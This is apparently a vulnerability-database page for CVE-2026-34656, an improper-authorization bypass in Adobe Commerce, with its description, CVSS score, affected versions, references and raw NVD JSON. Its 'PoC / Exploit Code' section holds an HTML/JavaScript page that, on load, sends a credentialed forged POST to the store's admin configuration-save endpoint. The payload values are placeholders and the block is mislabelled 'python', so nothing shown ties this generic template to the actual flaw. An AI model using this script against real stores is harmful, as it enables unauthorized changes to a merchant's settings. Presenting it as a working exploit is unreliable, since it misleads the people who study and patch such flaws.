CVE-2026-34656

Description

Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Improper Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Adobe Commerce <= 2.4.9-beta1

Adobe Commerce <= 2.4.8-p4

Adobe Commerce <= 2.4.7-p9

Adobe Commerce <= 2.4.6-p14

Adobe Commerce <= 2.4.5-p16

Adobe Commerce <= 2.4.4-p17

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
// PoC for CVE-2026-34656: Improper Authorization in Adobe Commerce
// Description: Simulates a request that bypasses security checks via user interaction.
-->
<html>
<body>
<script>
function triggerExploit() {
    // The endpoint represents a vulnerable action that requires authorization
    var targetUrl = '/admin/system/config/save';
    var payload = {
        'group': 'malicious_group',
        'field': 'unauthorized_value'
    };

    fetch(targetUrl, {
        method: 'POST',
        credentials: 'include', // Sends session cookies
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
        },
        body: new URLSearchParams(payload)
    }).then(response => {
        console.log('Request sent, status:', response.status);
    }).catch(error => {
        console.error('Exploit failed:', error);
    });
}

// Auto-trigger or wait for interaction as required by the vulnerability description
window.onload = function() {
    alert('Click OK to simulate visiting a malicious link (User Interaction)');
    triggerExploit();
};
</script>
<h3>CVE-2026-34656 PoC Test</h3>
<p>Check console for request details.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34656
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34656
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34656/
[4] VulDB https://vuldb.com/cve/CVE-2026-34656
[5] https://helpx.adobe.com/security/products/magento/apsb26-49.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34656", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:36.720", "lastModified": "2026-05-13T14:49:11.830", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Commerce versions 2.4.9-beta1, 2.4.8-p4, 2.4.7-p9, 2.4.6-p14, 2.4.5-p16, 2.4.4-p17 and earlier are affected by an Improper Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://helpx.adobe.com/security/products/magento/apsb26-49.html", "source": "[email protected]"}]}}